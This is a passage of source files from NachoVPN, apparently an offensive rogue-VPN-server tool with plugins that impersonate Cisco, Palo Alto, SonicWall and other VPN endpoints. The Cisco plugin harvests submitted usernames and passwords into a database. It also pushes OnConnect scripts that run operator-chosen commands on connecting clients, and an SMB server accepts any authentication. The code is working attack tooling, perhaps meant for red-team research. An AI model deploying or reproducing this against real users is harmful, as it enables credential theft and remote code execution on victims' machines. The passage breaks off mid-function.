_send_packets\")\n                    continue\n\n                self.logger.debug(f\"[TUN] Sending reply packet of size {len(packet_data)} bytes to client {connection_id} (IP {ip_address})\")\n\n                try:\n                    await self._loop.run_in_executor(\n                        None, \n                        self._send_all_blocking,\n                        client.sock,\n                        packet_data\n                    )\n                except Exception as e:\n                    self.logger.error(f\"[TUN] Failed to send data to client {connection_id}: {e}\")\n                    self.connection_states[connection_id] = False\n                    self.destroy_session(connection_id)\n                    break\n\n                # Update client state under lock\n                async with self.client_lock:\n                    if ip_address in self.clients:\n                        self.clients[ip_address].last_seen = time.time()\n                        # Touch the IP to keep lease alive\n                        self.ip_pool.touch(ip_address)\n                        self.logger.debug(f\"[TUN] Updated client {connection_id} last_seen time\")\n\n                # Mark task as done\n                queue.task_done()\n\n        except Exception as e:\n            self.logger.error(f\"[TUN] Error in send_packets task for {connection_id}: {e}\")\n            self.connection_states[connection_id] = False\n            self.destroy_session(connection_id)\n\n    def register_client(self, connection_id, sock, wrapper_callback):\n        \"\"\"Register a new client and assign an IP\"\"\"\n        try:\n            # Allocate IP from pool\n            ip_address = self.ip_pool.alloc()\n\n            # Store client info\n            self.clients[ip_address] = ClientInfo(\n                sock=sock,\n                ip_address=ip_address,\n                connection_id=connection_id,\n                callback=wrapper_callback,\n                last_seen=time.time()\n            )\n\n            # Add connection mapping\n            self.conn_to_ip[connection_id] = ip_address\n\n            # Mark connection as alive\n            self.connection_states[connection_id] = True\n\n            # Create packet queue and start send task\n            self.packet_queues[connection_id] = asyncio.Queue(maxsize=100)\n            self.send_tasks[connection_id] = self._loop.create_task(\n                self._send_packets(connection_id, self.packet_queues[connection_id])\n            )\n\n            self.logger.info(f\"Registered client {connection_id} with IP {ip_address}\")\n            return ip_address\n        except Exception as e:\n            self.logger.error(f\"Failed to register client {connection_id}: {e}\")\n            raise\n\n    def destroy_session(self, connection_id):\n        \"\"\"Unregister a client and release their IP\"\"\"\n        ip_address = self.conn_to_ip.get(connection_id)\n        if ip_address and ip_address in self.clients:\n            # Remove connection mapping\n            self.conn_to_ip.pop(connection_id, None)\n\n            # Remove client info\n            del self.clients[ip_address]\n\n            # Remove connection state\n            self.connection_states.pop(connection_id, None)\n\n            # Clean up packet queue and send task\n            queue = self.packet_queues.pop(connection_id, None)\n            if queue:\n                # Signal task to stop\n                self._loop.call_soon_threadsafe(queue.put_nowait, None)\n\n            task = self.send_tasks.pop(connection_id, None)\n            if task:\n                task.cancel()\n\n            # Release the IP\n            self.ip_pool.release(ip_address)\n            self.logger.info(f\"Unregistered client {connection_id}\")\n\n    async def _handle_reply_packet(self, packet_data, dest_ip):\n        \"\"\"Handle a reply packet from the TUN interface\"\"\"\n        try:\n            # Lookup client by IP\n            client = self.clients.get(dest_ip)\n            self.logger.debug(f\"[TUN] Handling reply packet for dest_ip={dest_ip}, client={client}\")\n            if client:\n                # Check if connection is still alive\n                if not self.connection_states.get(client.connection_id, False):\n                    self.logger.warning(f\"[TUN] Connection {client.connection_id} is no longer alive, skipping packet\")\n                    return\n\n                # Use the plugin's wrapper_callback\n                if client.callback:\n                    self.logger.debug(f\"[TUN] Using callback for client {client.connection_id}\")\n                    wrapped_data = client.callback(packet_data, client)\n                else:\n                    self.logger.debug(f\"[TUN] No callback for client {client.connection_id}, using raw data\")\n                    wrapped_data = packet_data\n\n                # Add packet to queue\n                self.logger.debug(f\"[TUN] Queuing reply packet to client {client.connection_id} (IP {dest_ip}): original size={len(packet_data)}, wrapped size={len(wrapped_data)}\")\n                queue = self.packet_queues.get(client.connection_id)\n                if queue:\n                    try:\n                        queue.put_nowait(wrapped_data)\n                        self.logger.debug(f\"[TUN] Queued reply packet to client {client.connection_id}\")\n                    except asyncio.QueueFull:\n                        self.logger.warning(f\"[TUN] Client {client.connection_id} queue full, dropping packet\")\n                else:\n                    self.logger.warning(f\"[TUN] No queue found for client {client.connection_id}\")\n            else:\n                self.logger.warning(f\"[TUN] No client found for destination IP {dest_ip}\")\n        except Exception as e:\n            self.logger.error(f\"[TUN] Error handling reply packet: {e}\")\n\n    def handle_client_packet(self, packet_data, connection_id):\n        \"\"\"Handle a packet from a client\"\"\"\n        try:\n            self.logger.debug(f\"Handling client packet for connection_id {connection_id}\")\n\n            ip_address = self.conn_to_ip.get(connection_id)\n            if not ip_address:\n                self.logger.error(f\"No client found for connection_id {connection_id}\")\n                return\n\n            client_info = self.clients.get(ip_address)\n            if not client_info:\n                self.logger.error(f\"No ClientInfo found for IP {ip_address}\")\n                return\n\n            src_ip = socket.inet_ntoa(packet_data[12:16]) if len(packet_data) >= 16 and (packet_data[0] >> 4) == 4 else None\n            dst_ip = socket.inet_ntoa(packet_data[16:20]) if len(packet_data) >= 20 and (packet_data[0] >> 4) == 4 else None\n            self.logger.debug(f\"[Client] Packet: src={src_ip} dst={dst_ip} len={len(packet_data)}\")\n\n            # Update last seen time\n            async def update_client():\n                async with self.client_lock:\n                    if ip_address in self.clients:\n                        self.clients[ip_address].last_seen = time.time()\n            self._loop.create_task(update_client())\n\n            if TUNNEL_ENABLED:\n                # Write packet to TUN interface\n                if self.tun_fd is not None:\n                    try:\n                        bytes_written = os.write(self.tun_fd, packet_data)\n                        self.logger.debug(f\"[TUN] Wrote {bytes_written} bytes to TUN interface\")\n                    except BlockingIOError:\n                        # TUN queue is full, drop the packet\n                        self.logger.warning(\"TUN queue full, dropping packet\")\n                    except Exception as e:\n                        self.logger.error(f\"Error writing to TUN interface: {e}\")\n                        self.logger.error(\"Stack trace:\", exc_info=True)\n                else:\n                    self.logger.error(\"TUN file descriptor not available\")\n            else:\n                self.logger.debug(f\"[TUN] Tunnel disabled. Received packet from {src_ip} to {dst_ip}\")\n                self.append_to_pcap(packet_data)\n\n        except Exception as e:\n            self.logger.error(f\"Error handling client packet: {e}\")\n\n    def append_to_pcap(self, packet):\n        \"\"\"Append packet to PCAP file if enabled\"\"\"\n        try:\n            if self.write_pcap and self._pcap_writer is not None:\n                pkt = self._fake_eth / Raw(load=bytes(packet))\n                self._pcap_writer.write(pkt)\n        except Exception as e:\n            self.logger.error(f'Error appending to PCAP: {e}')\n\n    async def close(self):\n        \"\"\"Clean up resources\"\"\"\n        if self._closed:\n            return\n\n        try:\n            # Cancel background tasks\n            if TUNNEL_ENABLED and hasattr(self, '_lease_cleanup_task'):\n                self._lease_cleanup_task.cancel()\n                try:\n                    await self._lease_cleanup_task\n                except asyncio.CancelledError:\n                    pass\n\n            # Close all client connections\n            async with self.client_lock:\n                for client in list(self.clients.values()):\n                    try:\n                        if hasattr(client, 'sock'):\n                            client.sock.close()\n                    except Exception:\n                        pass\n                self.clients.clear()\n                self.conn_to_ip.clear()\n\n            # Clean up tunneling resources\n            if TUNNEL_ENABLED:\n                # Remove TUN fd from event loop\n                if self.tun_fd is not None:\n                    try:\n                        self._loop.remove_reader(self.tun_fd)\n                        self.logger.info(\"Removed TUN fd from event loop\")\n                    except Exception as e:\n                        self.logger.error(f\"Error removing TUN fd from event loop: {e}\")\n\n                # Close TUN file descriptor\n                if self.tun_fd is not None:\n                    try:\n                        os.close(self.tun_fd)\n                        self.logger.info(\"Closed TUN file descriptor\")\n                    except Exception as e:\n                        self.logger.error(f\"Error closing TUN file descriptor: {e}\")\n\n                try:\n                    self.nft.cmd('flush table inet vpn')\n                    self.nft.cmd('delete table inet vpn')\n                    self.logger.info(\"Cleaned up nftables rules\")\n                except Exception as e:\n                    self.logger.error(f\"Error cleaning up nftables: {e}\")\n\n                # Close IPRoute\n                if hasattr(self, '_ipr'):\n                    try:\n                        await self._ipr.close()\n                        self.logger.info(\"Closed IPRoute\")\n                    except Exception as e:\n                        self.logger.error(f\"Error closing IPRoute: {e}\")\n\n            # Close PCAP writer\n            if self._pcap_writer is not None:\n                try:\n                    self._pcap_writer.close()\n                    self.logger.info(\"Closed PCAP writer\")\n                except Exception as e:\n                    self.logger.error(f\"Error closing PCAP writer: {e}\")\n\n            self._closed = True\n            self.logger.info(\"PacketHandler closed successfully\")\n\n        except Exception as e:\n            self.logger.error(f\"Error in cleanup: {e}\")\n            raise\n\n    def create_session(self, sock, wrapper_callback):\n        \"\"\"Create a new session: generate connection_id, assign IP, and register client.\"\"\"\n        connection_id = str(uuid.uuid4())\n        ip_address = self.register_client(connection_id, sock, wrapper_callback)\n        return connection_id, ip_address\n\n    def get_assigned_ip(self, connection_id):\n        \"\"\"Return the assigned IP for a given connection_id, or None if not found.\"\"\"\n        return self.conn_to_ip.get(connection_id)\n\n    def assign_socket(self, connection_id, sock):\n        \"\"\"Assign or update the socket for an existing client session.\"\"\"\n        ip_address = self.conn_to_ip.get(connection_id)\n        if ip_address and ip_address in self.clients:\n            self.logger.info(f\"Assigning new socket to connection_id {connection_id} (IP {ip_address})\")\n            self.clients[ip_address].sock = sock\n            return True\n        self.logger.warning(f\"assign_socket: No client found for connection_id {connection_id}\")\n        return False\n\n    async def start(self):\n        \"\"\"Start the packet handler's background tasks\"\"\"\n        try:\n            # Set the event loop for this thread\n            self._loop = asyncio.get_running_loop()\n            self.logger.info(f\"[TUN] PacketHandler using event loop {self._loop} in thread {threading.current_thread().name}\")\n\n            # Log the tunnel configuration\n            self.logger.info(f\"Tunnel configuration: TUNNEL_PRIVATE={TUNNEL_PRIVATE}, TUNNEL_FULL={TUNNEL_FULL}\")\n\n            if TUNNEL_ENABLED:\n                # Initialize nftables\n                self._setup_nftables()\n\n                # Set up TUN interface\n                await self._setup_tun_interface()\n\n                # Set up TUN file descriptor\n                self._setup_tun_fd()\n\n                # Start background tasks\n                if self._lease_cleanup_task is None:\n                    self._lease_cleanup_task = asyncio.create_task(self._lease_cleanup())\n                    self.logger.info(\"Started lease cleanup task\")\n            else:\n                self.logger.info(\"Tunnel disabled - skipping nftables, TUN interface, and lease cleanup setup\")\n\n            # Set up PCAP writer (always enabled if configured)\n            if self.write_pcap and self.pcap_filename:\n                os.makedirs(os.path.dirname(self.pcap_filename), exist_ok=True)\n                self._fake_eth = Ether(src='01:02:03:04:05:06', dst='ff:ff:ff:ff:ff:ff')\n                self.logger.info(f\"Using TUN interface MAC {self._fake_eth.src} for PCAP\")\n\n                # Open PCAP writer\n                self._pcap_writer = PcapWriter(self.pcap_filename, append=True)\n                self.logger.info(f\"Opened PCAP writer for {self.pcap_filename}\")\n        except Exception as e:\n            self.logger.error(f\"Error starting packet handler: {e}\")\n            raise\n"
  },
  {
    "path": "src/nachovpn/core/plugin_manager.py",
    "content": "import logging\nimport traceback\nimport os\nimport asyncio\n\nclass PluginManager:\n    def __init__(self, loop=None):\n        self.plugins = []\n        self.loop = loop or asyncio.get_event_loop()\n\n    def register_plugin(self, plugin_class, **kwargs):\n        \"\"\"Register a plugin\"\"\"\n        if plugin_class.__name__ in os.getenv(\"DISABLED_PLUGINS\", \"\").split(\",\"):\n            logging.info(f\"Skipping disabled plugin: {plugin_class.__name__}\")\n            return\n        plugin = plugin_class(**kwargs)\n        self.plugins.append(plugin)\n        logging.info(f\"Registered plugin: {plugin_class.__name__}\")\n\n    def handle_data(self, data, client_socket, client_ip):\n        \"\"\"Try each plugin to handle raw VPN data\"\"\"\n        for plugin in self.plugins:\n            try:\n                if plugin.is_enabled() and plugin.can_handle_data(data, client_socket, client_ip):\n                    return plugin.handle_data(data, client_socket, client_ip)\n            except Exception as e:\n                logging.error(f\"Error in plugin {plugin.__class__.__name__}: {e}\")\n                logging.error(traceback.format_exc())\n        return False\n\n    def handle_http(self, handler):\n        \"\"\"Try each plugin to handle HTTP requests\"\"\"\n        for plugin in self.plugins:\n            try:\n                if plugin.is_enabled() and plugin.can_handle_http(handler):\n                    handler.plugin_name = plugin.__class__.__name__\n                    return plugin.handle_http(handler)\n            except Exception as e:\n                logging.error(f\"Error in plugin {plugin.__class__.__name__}: {e}\")\n                logging.error(traceback.format_exc())\n        return False\n"
  },
  {
    "path": "src/nachovpn/core/request_handler.py",
    "content": "from http.server import BaseHTTPRequestHandler\nimport logging\nimport os\n\nclass VPNStreamRequestHandler(BaseHTTPRequestHandler):\n    def __init__(self, request, client_address, server):\n        self.plugin_manager = server.plugin_manager\n        super().__init__(request, client_address, server)\n\n    def send_header(self, keyword, value):\n        if keyword.lower() == 'server':\n            value = \"nginx\"\n        super().send_header(keyword, value)\n\n    def handle(self):\n        try:\n            first_line = self.rfile.readline()\n            if b'HTTP/' in first_line:\n                # Parse the HTTP request line and headers\n                self.raw_requestline = first_line\n                if self.parse_request():\n                    # Delegate HTTP processing to PluginManager\n                    if self.server.plugin_manager.handle_http(self):\n                        return\n\n                    # No plugin handled the request, send 404\n                    logging.warning(f\"Unhandled HTTP request from {self.client_address[0]}\")\n                    with open(os.path.join(os.path.dirname(__file__), '..', \n                        'plugins', 'base', 'templates', '404.html'), 'rb') as f:\n                        self.send_response(404)\n                        self.send_header('Content-Type', 'text/html')\n                        self.end_headers()\n                        self.wfile.write(f.read())\n            else:\n                # Handle raw VPN data\n                if not self.server.plugin_manager.handle_data(first_line, self.connection, self.client_address[0]):\n                    logging.warning(f\"Unhandled raw VPN data from {self.client_address[0]}: {first_line}\")\n                    self.connection.close()\n\n        except Exception as e:\n            logging.error(f\"Error processing request from {self.client_address[0]}: {e}\")\n            self.connection.close()\n\n    def log_message(self, format, *args):\n        plugin_name = getattr(self, 'plugin_name', 'Default')\n        logging.info(f\"[{plugin_name}] {self.client_address[0]} - - {format % args}\")"
  },
  {
    "path": "src/nachovpn/core/smb_manager.py",
    "content": "from impacket.smbserver import SimpleSMBServer\nimport os\nimport stat\nimport logging\nimport threading\n\n# SMB configuration\nSMB_ENABLED = os.getenv(\"SMB_ENABLED\", \"false\").lower() == \"true\"\nSMB_SHARE_NAME = os.getenv(\"SMB_SHARE_NAME\", \"SHARE\")\nSMB_SHARE_PATH = os.getenv(\"SMB_SHARE_PATH\", \"smb\")\n\nclass SMBManager:\n    def __init__(self):\n        self.logger = logging.getLogger(__name__)\n        self.server = None\n\n        if SMB_ENABLED:\n            self._setup_smb_server()\n\n    def auth_callback(self, *args, **kwargs):\n        \"\"\"Authentication callback\"\"\"\n        self.logger.debug(f\"Authenticate message: {args} {kwargs}\")\n        return True\n\n    def _setup_smb_server(self):\n        \"\"\"Set up the SMB server\"\"\"\n        try:\n            # Create share directory if it doesn't exist\n            os.makedirs(SMB_SHARE_PATH, exist_ok=True)\n\n            # Impacket's readOnly flag is not implemented, so make the directory read-only\n            os.chmod(SMB_SHARE_PATH, stat.S_IREAD | stat.S_IEXEC)\n\n            # Initialize SMB server\n            self.server = SimpleSMBServer(\"0.0.0.0\", 445)\n\n            # Add share\n            self.server.addShare(SMB_SHARE_NAME.upper(), SMB_SHARE_PATH, shareComment='Nacho SMB Share', readOnly='yes')\n\n            # Enable SMBv2\n            self.server.setSMB2Support(True)\n\n            # Start SMB server in a separate thread\n            smb_thread = threading.Thread(target=self.server.start, daemon=True)\n            smb_thread.start()\n            self.logger.info(f\"Started SMB server with share '{SMB_SHARE_NAME}' at {SMB_SHARE_PATH}\")\n        except Exception as e:\n            self.logger.error(f\"Failed to start SMB server: {e}\")\n            self.server = None\n"
  },
  {
    "path": "src/nachovpn/core/utils.py",
    "content": "from scapy.all import IP, IPv6, ARP, UDP, TCP, Ether, rdpcap, wrpcap, \\\n    srp, sendp, conf, get_if_addr, get_if_hwaddr, getmacbyip, sniff\n\nimport os\nimport logging\n\nclass PacketHandler:\n    \"\"\"\n    TODO: Implement a NAT-based packet handler where the plugin provides a callback function\n    that is called when a packet is received back from its destination and written to the client tunnel.\n    \"\"\"\n    def __init__(self, write_pcap=False, pcap_filename=None, logger_name=\"PacketHandler\"):\n        self.write_pcap = write_pcap\n        self.pcap_filename = pcap_filename\n        self.logger = logging.getLogger(logger_name)\n        if self.write_pcap and pcap_filename is not None:\n            os.makedirs(os.path.dirname(pcap_filename), exist_ok=True)\n\n    def get_free_nat_port(self):\n        return 0\n\n    def forward_tcp_packet(self, packet_data):\n        src_ip = packet[IP].src\n        dst_ip = packet[IP].dst\n        sport = packet[TCP].sport\n        dport = packet[TCP].dport\n        self.logger.debug(f\"Processing TCP packet: {src_ip}:{sport} -> {dst_ip}:{dport}\")\n\n        # Get a unique NAT port for this connection\n        nat_port = self.get_free_nat_port()\n\n        # Modify packet for NAT\n        packet[IP].src = get_if_addr(conf.iface)  # Replace source IP with our IP\n        packet[TCP].sport = nat_port              # Replace source port with NAT port\n\n        self.logger.debug(f\"New connection: {src_ip}:{sport} -> {dst_ip}:{dport} (NAT port: {nat_port})\")\n\n        # Modify packet for NAT\n        packet[IP].src = get_if_addr(conf.iface)  # Replace source IP with our IP\n        packet[TCP].sport = nat_port              # Replace source port with NAT port\n\n        # Recalculate checksums\n        del packet[IP].chksum\n        del packet[TCP].chksum\n\n        # Send the packet out\n        sendp(packet, verbose=False, iface=conf.iface)\n\n    def packet_sniffer(self):\n        def packet_callback(packet):\n            try:\n                if IP not in packet:\n                    return\n\n                # TODO: restore original IP and TCP ports\n                if self.receive_callback:\n                    self.receive_callback(packet)\n            except Exception as e:\n                self.logger.error(f\"Error processing packet: {e}\")\n\n        self.logger.info('Starting packet sniffer')\n        sniff(iface=conf.iface, prn=packet_callback, store=False)\n\n    def handle_client_packet(self, packet_data):\n        packet = IP(packet_data)\n        self.logger.info(f\"Received packet: {packet}\")\n        self.append_to_pcap(packet)\n\n    def append_to_pcap(self, packet):\n        try:\n            if self.write_pcap and self.pcap_filename is not None:\n                # Add fake layer 2 data to the packet, if missing\n                if not packet.haslayer(Ether):\n                    src_mac = get_if_hwaddr(conf.iface)\n                    fake_ether = Ether(src=src_mac, dst=None)\n                    packet = fake_ether / packet\n                wrpcap(self.pcap_filename, packet, append=True)\n        except Exception as e:\n            logging.error(f'Error appending to PCAP: {e}')"
  },
  {
    "path": "src/nachovpn/plugins/__init__.py",
    "content": "from nachovpn.plugins.base.plugin import VPNPlugin\nfrom nachovpn.plugins.paloalto.plugin import PaloAltoPlugin\nfrom nachovpn.plugins.cisco.plugin import CiscoPlugin\nfrom nachovpn.plugins.sonicwall.plugin import SonicWallPlugin\nfrom nachovpn.plugins.pulse.plugin import PulseSecurePlugin\nfrom nachovpn.plugins.netskope.plugin import NetskopePlugin\nfrom nachovpn.plugins.delinea.plugin import DelineaPlugin\nfrom nachovpn.plugins.example.plugin import ExamplePlugin\n\n__all__ = [\n    'VPNPlugin',\n    'PaloAltoPlugin',\n    'CiscoPlugin',\n    'SonicWallPlugin',\n    'PulseSecurePlugin',\n    'NetskopePlugin',\n    'DelineaPlugin',\n    'ExamplePlugin'\n]\n"
  },
  {
    "path": "src/nachovpn/plugins/base/__init__.py",
    "content": ""
  },
  {
    "path": "src/nachovpn/plugins/base/plugin.py",
    "content": "from flask import Flask, jsonify\nfrom jinja2 import Environment, FileSystemLoader\nimport logging\nimport os\n\nclass VPNPlugin:\n    def __init__(self, cert_manager=None, external_ip=None, dns_name=None, db_manager=None, template_dir=None, packet_handler=None, **kwargs):\n        self.enabled = True\n        self.cert_manager = cert_manager\n        self.external_ip = external_ip\n        self.dns_name = dns_name\n        self.db_manager = db_manager\n        self.template_dir = template_dir\n        self.packet_handler = packet_handler\n        self.logger = logging.getLogger(self.__class__.__name__)\n\n        # setup Flask app\n        self.flask_app = Flask(__name__)\n        self._setup_routes()\n\n        # Set up Jinja2 environment if template_dir is provided\n        default_dir = os.path.join(os.path.dirname(__file__), 'templates')\n        if template_dir:\n            self.template_env = Environment(loader=FileSystemLoader([template_dir, default_dir]))\n        else:\n            self.template_env = Environment(loader=FileSystemLoader(default_dir))\n\n    def is_enabled(self):\n        return self.enabled\n\n    def get_thumbprint(self):\n        thumbprint = self.cert_manager.server_thumbprint\n        if os.getenv('USE_DYNAMIC_SERVER_THUMBPRINT', 'false').lower() == 'true':\n            dynamic_thumbprint = self.cert_manager.get_thumbprint_from_server(self.dns_name)\n            if dynamic_thumbprint:\n                self.logger.debug(f\"Using dynamic thumbprint for {self.dns_name}: {dynamic_thumbprint}\")\n                thumbprint = dynamic_thumbprint\n        return thumbprint\n\n    def _setup_routes(self):\n        # Define Flask routes within the class\n        @self.flask_app.route('/api/v1/healthcheck', methods=['GET'])\n        def healthcheck():\n            return jsonify({\"message\": \"OK\"})\n\n        @self.flask_app.errorhandler(404)\n        def page_not_found(e):\n            return self.render_template('404.html'), 404\n\n    def _send_flask_response(self, response, handler):\n        # Send the Flask response back to the client\n        handler.send_response(response.status_code)\n        for header, value in response.headers:\n            handler.send_header(header, value)\n        handler.end_headers()\n        handler.wfile.write(response.data)\n\n    def handle_get(self, handler):\n        with self.flask_app.test_client() as client:\n            response = client.get(handler.path, headers=dict(handler.headers))\n            self._send_flask_response(response, handler)\n        return True\n\n    def handle_post(self, handler):\n        content_length = int(handler.headers.get('Content-Length', 0))\n        body = handler.rfile.read(content_length)\n\n        # Use Flask's test_client to handle the request\n        with self.flask_app.test_client() as client:\n            response = client.post(handler.path, data=body, headers=dict(handler.headers))\n            self._send_flask_response(response, handler)\n        return True\n\n    def render_template(self, template_name, **context):\n        \"\"\"Render a template with the given context\"\"\"\n        if not hasattr(self, 'template_env'):\n            raise Exception(\"No template environment configured\")\n        template = self.template_env.get_template(template_name)\n        return template.render(**context)\n\n    def can_handle_data(self, data, client_socket, client_ip):\n        \"\"\"Check if this plugin can handle the given data\"\"\"\n        return False\n\n    def can_handle_http(self, handler):\n        \"\"\"Determine if this plugin can handle the HTTP request\"\"\"\n        return False\n\n    def handle_data(self, data, client_socket, client_ip):\n        return False\n\n    def handle_http(self, handler):\n        if handler.command == 'GET':\n            return self.handle_get(handler)\n        elif handler.command == 'POST':\n            return self.handle_post(handler)\n        return False\n\n    def log_credentials(self, username, password, other_data=None):\n        \"\"\"Helper method to log credentials to the database.\"\"\"\n        if self.db_manager:\n            self.db_manager.log_credentials(\n                username=username,\n                password=password,\n                plugin_name=self.__class__.__name__,\n                other_data=other_data\n            )\n\n    def _wrap_packet(self, packet_data, client):\n        \"\"\"Wrap the packet data with the plugin's specific protocol.\"\"\"\n        return packet_data"
  },
  {
    "path": "src/nachovpn/plugins/base/templates/404.html",
    "content": "\n<html>\n<head><title>404 Not Found</title></head>\n<body bgcolor=\"white\">\n<center><h1>404 Not Found</h1></center>\n<hr><center></center>\n</body>\n</html>\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->"
  },
  {
    "path": "src/nachovpn/plugins/cisco/__init__.py",
    "content": "from .plugin import CiscoPlugin\n\n__all__ = [\n    'CiscoPlugin'\n]"
  },
  {
    "path": "src/nachovpn/plugins/cisco/files/OnConnect.sh",
    "content": "#!/bin/bash\n{{ cisco_command_macos }}"
  },
  {
    "path": "src/nachovpn/plugins/cisco/files/OnConnect.vbs",
    "content": "Set oShell = CreateObject(\"WScript.Shell\")\noShell.run \"%comspec% /c {{ cisco_command_win }}\""
  },
  {
    "path": "src/nachovpn/plugins/cisco/files/OnDisconnect.vbs",
    "content": "' OnDisconnect.vbs"
  },
  {
    "path": "src/nachovpn/plugins/cisco/plugin.py",
    "content": "from nachovpn.plugins import VPNPlugin\nfrom flask import Response, abort, request\nfrom jinja2 import Template\n\nimport logging\nimport hashlib\nimport re\nimport os\n\n# https://datatracker.ietf.org/doc/html/draft-mavrogiannopoulos-openconnect-02\nclass CTSP:\n    class Constants:\n        MAGIC_NUMBER = 0x53544601\n        HEADER_LENGTH = 8\n\n    class PacketType:\n        DATA = 0x00\n        DPD_REQ = 0x03\n        DPD_RESP = 0x04\n        DISCONNECT = 0x05\n        KEEPALIVE = 0x07\n        COMPRESSED_DATA = 0x08\n        TERMINATE = 0x09\n\n    def __init__(self, socket, packet_handler=None, connection_id=None):\n        self.socket = socket\n        self.packet_handler = packet_handler\n        self.connection_id = connection_id\n\n    @staticmethod\n    def create_packet(packet_type, data=b''):\n        resp = CTSP.Constants.MAGIC_NUMBER.to_bytes(4, 'big')\n        resp += (len(data)).to_bytes(2, 'big')\n        resp += packet_type.to_bytes(1, 'big')\n        resp += b'\\x00'\n        resp += data\n        return resp\n\n    # Section 2.5: The Keepalive and Dead Peer Detection Protocols\n    def send_dpd_resp(self, req_data):\n        # Send a DPD-RESP packet back to the client\n        # and attach any additional data from the DPD-REQ packet\n        resp = self.create_packet(self.PacketType.DPD_RESP, req_data)\n        logging.info(f\"Sending DPD-RESP: {resp.hex()}\")\n        self.socket.sendall(resp)\n\n    def send_keepalive(self):\n        # Just send a KEEPALIVE packet back to the client\n        resp = self.create_packet(self.PacketType.KEEPALIVE)\n        logging.info(f\"Sending KEEPALIVE: {resp.hex()}\")\n        self.socket.sendall(resp)\n\n    def parse(self, data):\n        try:\n            if int.from_bytes(data[0:4], byteorder='big') != self.Constants.MAGIC_NUMBER:\n                raise Exception(\"Invalid packet\")\n\n            packet_length = int.from_bytes(data[4:6], byteorder='big')\n            packet_type = data[6]\n\n            if len(data) - self.Constants.HEADER_LENGTH != packet_length:\n                raise Exception(f\"Invalid packet length: {packet_length}\")\n\n            packet_data = data[self.Constants.HEADER_LENGTH:]\n\n            if packet_type == self.PacketType.DATA:\n                # Check if the packet is a valid IPv4 packet\n                if len(packet_data) >= 20 and (packet_data[0] >> 4) == 4 and self.packet_handler is not None:\n                    logging.debug(f\"Received valid IPv4 packet\")\n\n                    # Handle packet with the packet handler\n                    self.packet_handler.handle_client_packet(\n                        packet_data,\n                        self.connection_id\n                    )\n\n            elif packet_type == self.PacketType.DISCONNECT:\n                logging.info(f\"Received disconnect packet. Message: {packet_data[1:].decode()}\")\n\n            elif packet_type == self.PacketType.DPD_REQ:\n                logging.info(f\"Received DPD-REQ packet. Replying with DPD-RESP\")\n                self.send_dpd_resp(packet_data)\n\n            elif packet_type == self.PacketType.KEEPALIVE:\n                logging.info(f\"Received keepalive packet\")\n                self.send_keepalive()\n\n            elif packet_type == self.PacketType.COMPRESSED_DATA:\n                logging.info(f\"Received compressed packet\")\n\n            elif packet_type == self.PacketType.TERMINATE:\n                logging.info(f\"Received terminate packet\")\n\n            else:\n                logging.warning(f\"Unknown packet type: {packet_type:04x}\")\n                logging.warning(f\"Packet data: {packet_data.hex()}\")\n        except Exception as e:\n            logging.error(f\"Error parsing packet: {e}\")\n\n\nclass CiscoPlugin(VPNPlugin):\n    def __init__(self, *args, **kwargs):\n        # provide the templates directory relative to this plugin\n        super().__init__(*args, **kwargs, template_dir=os.path.join(os.path.dirname(__file__), 'templates'))\n        self.vpn_name = os.getenv(\"VPN_NAME\", \"NachoVPN\")\n        self.files_dir = os.path.join(os.path.dirname(__file__), \"files\")\n        self.cisco_command_win = os.getenv(\"CISCO_COMMAND_WIN\", \"calc.exe\")\n        self.cisco_command_macos = os.getenv(\"CISCO_COMMAND_MACOS\", \"touch /tmp/pwnd\")\n\n    def shasum(self, data):\n        if isinstance(data, str):\n            data = data.encode()\n        return hashlib.sha1(data).hexdigest().upper()\n\n    def handle_http(self, handler):\n        if handler.command == 'GET':\n            self.handle_get(handler)\n        elif handler.command == 'POST':\n            self.handle_post(handler)\n        elif handler.command == 'HEAD':\n            self.handle_head(handler)\n        elif handler.command == 'CONNECT':\n            self.handle_connect(handler)\n        return True\n\n    def render_file(self, filename, context):\n        with open(filename, \"r\") as f:\n            template = Template(f.read())\n            return template.render(context)\n\n    def _setup_routes(self):\n        # Call the parent class's route setup\n        super()._setup_routes()\n\n        @self.flask_app.route('/CACHE/stc/profiles/profile.xml', methods=['GET'])\n        def profile():\n            self.logger.info(\"Loading profile file\")\n            xml = self.render_template(\"profile.xml\")\n            response = xml.encode()\n            return Response(response, status=200, mimetype='text/html')\n\n        @self.flask_app.route('/+CSCOT+/oem-customization', methods=['GET'])\n        def oem_customization():\n            self.logger.info(\"Handling OEM customization\")\n            name = request.args.get('name')\n            script_path = os.path.join(self.files_dir, os.path.basename(name.lstrip('scripts_')))\n            context = {\n                'cisco_command_win': self.cisco_command_win,\n                'cisco_command_macos': self.cisco_command_macos\n            }\n            if name and os.path.exists(script_path):\n                content = self.render_file(script_path, context)\n                return Response(content, status=200, mimetype=\"application/octet-stream\")\n            return abort(404)\n\n        @self.flask_app.route('/', methods=['POST'])\n        def post():\n            self.logger.info(\"Handling POST\")\n            headers = {'X-Aggregate-Auth': '1'}\n            body = request.get_data().decode()\n            if 'type=\"init\"' in body:\n                self.logger.info(\"Handling INIT\")\n                xml = self.render_template(\"prelogin.xml\", vpn_name=self.vpn_name)\n                self.logger.info(f\"Sending prelogin.xml\")\n                response = xml.encode()\n                return Response(response, status=200, mimetype='text/html', headers=headers)\n            elif 'type=\"auth-reply\"' in body:\n                self.logger.info(\"Handling AUTH-REPLY\")\n                username = re.search('<username>(.*)</username>', body).group(1)\n                password = re.search('<password>(.*)</password>', body).group(1)\n                self.logger.info(f\"Received username: {username} and password: {password}\")\n                info = {'User-Agent': request.headers.get('User-Agent')}\n                self.db_manager.log_credentials(\n                    username,\n                    password,\n                    self.__class__.__name__,\n                    info\n                )\n\n                self.logger.info(\"Sending auth reply\")\n\n                # Calculate hashes\n                profile_xml = self.render_template(\"profile.xml\")\n                profile_hash = self.shasum(profile_xml)\n\n                # build a table of hashes for the script files\n                script_hashes = [\n                    {'platform': \"win\", 'filename': \"OnDisconnect.vbs\", 'hash': None},\n                    {'platform': \"win\", 'filename': \"OnConnect.vbs\", 'hash': None},\n                    {'platform': \"mac-intel\", 'filename': \"OnDisconnect.sh\", 'hash': None},\n                    {'platform': \"mac-intel\", 'filename': \"OnConnect.sh\", 'hash': None}\n                ]\n\n                # iterate over the script_hashes and calculate the hash for each file\n                for script in 